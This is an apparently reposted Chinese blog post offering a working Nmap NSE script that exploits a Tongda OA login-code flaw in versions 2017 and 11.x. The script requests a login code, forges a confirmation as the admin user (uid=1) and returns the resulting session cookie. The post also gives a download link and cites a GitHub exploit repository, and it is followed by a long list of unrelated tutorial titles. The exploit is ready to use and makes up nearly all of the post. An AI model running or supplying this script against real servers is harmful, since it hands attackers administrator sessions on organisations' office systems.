通达OA伪造SESSION | Nmap脚本
时间:2022-07-23
本文章向大家介绍通达OA伪造SESSION | Nmap脚本,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
通达OA又出问题了,这次的脚本是参照一个哥们儿github上代码写的,用了一晚上,我终于证明了一个问题,v2017版本和v11.x版本利用方式一毛一样,被这个爹给坑害了,画个圈圈诅咒他!
local stdnse = require "stdnse"
local shortport = require "shortport"
local http = require "http"
local json = require "json"
description = "sth"
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("-----------------------------------")
print("[+] start ... ")
print("[-] (if port is filtered, nothing will be checked)")
print("")
end
portrule = shortport.service({"http", "https", "afs3-callback", "http-proxy"})
action = function(host, port)
local output = stdnse.output_table()
output.result = "not vulnerable"
local options = {header = {}, content = {}}
options["header"]["Cache-Control"] = "max-age=0"
options["header"]["Upgrade-Insecure-Requests"] = "1"
options["header"]["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36 Edg/81.0.416.58"
options["header"]["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
options["header"]["Accept-Encoding"] = "gzip, deflate"
options["header"]["Accept-Language"] = "zh-Hans-CN,zh-CN;q=0.9,zh;q=0.8,en;q=0.7,en-GB;q=0.6,en-US;q=0.5"
-- options["header"]["Cookie"] = "USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=40cff017; PHPSESSID=1edafhs3br4q1ajb49q9a2u4a1; KEY_RANDOMDATA=8271"
options["header"]["Connection"] = "close"
options["header"]["Content-Type"] = "application/x-www-form-urlencoded"
local req = http.generic_request(host, port, "GET", "/ispirit/login_code.php", options)
local status, codeuid = json.parse(req.body)
codeuid = codeuid['codeuid']
local postdatas = "codeuid="..codeuid.."&uid=1&source=pc&type=confirm&username=admin"
options['content'] = postdatas
local req2 = http.generic_request(host, port, "POST", "/general/login_code_scan.php", options)
local status_TF, status_sta = json.parse(req2.body)
if status_sta['status'] == '1' then
options['content'] = ""
local req3 = http.generic_request(host, port, "GET", "/ispirit/login_code_check.php?codeuid="..codeuid, options)
local fake_cookie = req3.header['set-cookie']
output.result = fake_cookie
end
return output
end
下载地址:http://www.my-synology.cn:37980/sharing/e96EXxAHM
参考文章
https://github.com/NS-Sp4ce/TongDaOA-Fake-User
- 微信小程序开发日记:重要的var that=this
- linux学习第二十六篇:正则介绍,grep,sed,awk命令
- Python 迭代(iteration)
- Python 切片(Slice)
- Python函数参数总结(位置参数、默认参数、可变参数、关键字参数和命名关键字参数)
- linux学习第二十七篇:使用w查看系统负载,vmstat,top,sar,nload命令
- Python 函数
- Python set(集合) 这一定是最全的介绍集合的博文
- Spark你一定学得会(二)No.8
- Python dict(字典)
- Python 条件判断
- linux学习第二十五篇:cut,sort,wc,uniq,tee,tr,split命令,shell特殊符号
- Python list(列表)
- linux学习第三十篇:iptables filter表小案例,iptables nat表应用
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Docker 容器跨主机多网段通信解决方案
- Docker 容器实现数据持久化
- mongodb----复制
- CentOS磁盘挂载
- Mono for Android 实现高效的导航
- MyBatis版本升级导致OffsetDateTime入参解析异常问题复盘
- elasticSearch学习(二)
- 146. LRU缓存机制 Krains 2020-08-05 12:50:28 链表
- 337. 打家劫舍 III Krains 2020-08-05 10:18:45 动态规划
- 58道Vue常见面试题集锦,涵盖入门到精通,自测 Vue 掌握程度
- 记一次Linux计划任务cron无结果的排查过程
- 一文学会使用 CSS 中的 min(), max(), clamp() 以及它们的使用场景用例
- 5 个 JS 数组技巧可提高你的开发技能
- 一个有意思的方案:不借助后台和 JS ,只用 CSS 让一个列表编号倒序,你会怎么做?
- 关于MySQL LOAD DATA特性的利用与思考